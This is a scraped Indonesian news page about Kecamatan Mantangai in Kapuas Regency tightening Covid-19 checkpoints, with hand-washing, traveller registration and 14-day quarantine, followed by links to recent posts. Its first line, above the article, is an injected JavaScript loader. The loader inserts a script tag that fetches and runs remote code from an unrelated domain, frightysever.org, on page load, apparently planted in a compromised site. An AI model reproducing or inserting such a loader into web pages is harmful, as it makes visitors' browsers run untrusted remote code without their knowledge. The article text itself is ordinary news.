(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Pejalan Kaki dan Pengendara Wajib Cuci Tangan, Kecamatan Mantangai Perketat Pengawasan


KANALKALIMANTAN.COM, KAPUAS– Pemerintah Kecamatan Mantangai, Kabupaten Kapuas, Kalimantan Tengah, cukup serius mengantisipasi penyebaran virus corona (Covid-19) di wilayah itu. Pengawasan di seluruh pintu masuk ke wilayah tersebut diperketat.

Salah satu pintu masuk menuju Kecamatan Mantangai, tepatnya di desa lamunti, petugas melakukan sistem pemeriksaan menyeluruh. Mereka melakukan pengecekan kendaraan atau penduduk yang hendak masuk dan ke luar wilayah Kecamatan Mantangai, Kamis (14/05/2020) sore.

Camat Mantangai Yunius Tunggal, mengatakan, hampir semua desa di wilayah kecamatan mantangai ini sudah dibangun posko terkait pencegahan pandemi covid-19.

“Yang terpantau sudah ada 10 desa yang sudah mendirikan posko desa. Yang wajib itu di pintu -pintu masuk. Seperti di Desa Bukit Batu, Desa Lapetan, Desa Muroy Raya juga Desa Danau Rawah sudah ada posko. Begitu juga di beberapa titik penting lainnya, pintu masuk dari wilayah selatan kecamatan ini,” beber dia.

Yunius menambahkan, kegiatan yang dilakukan petugas di posko merupakan salah satu upaya untuk mencegah masuknya Covid-19 di wilayah Kecamatan Mantangai.

“Baik pejalan kaki maupun yang menggunakan kendaraan, wajib turun untuk mencuci tangan menggunakan sabun cuci tangan yang disiapkan petugas. Dan bagi warga pendatang baru atau pelaku perjalanan, wajib mengisi data terkait identitas diri dan riwayat perjalanannya, dan harus jujur dengan petugas. Misalnya dia datang atau pulang dari mana dan tujuan ke mana. Data-data dari posko desa kemudian dikirim ke posko kecamatan, yang selanjutnya diteruskan ke posko kabupaten di Kapuas,” ucapnya.

“Hendaknya masyarakat bisa menjadi polisi untuk dirinya sendiri. Masyarakat wajib hukumnya untuk menaati himbauan protokoler Kemenkes RI, Maklumat Kapolri dan Surat Edaran Bupati Kapuas, Pelaku perjalanan harus dikarantina selama 14 hari dan melakukan Pola Hidup Bersih dan Sehat (PHBS),” ujar dia. (kanalkalimantan.com/ags)

Reporter : Ags
Editor : Dhani

Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

10 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

11 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

12 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

12 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

13 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

13 jam ago

This website uses cookies.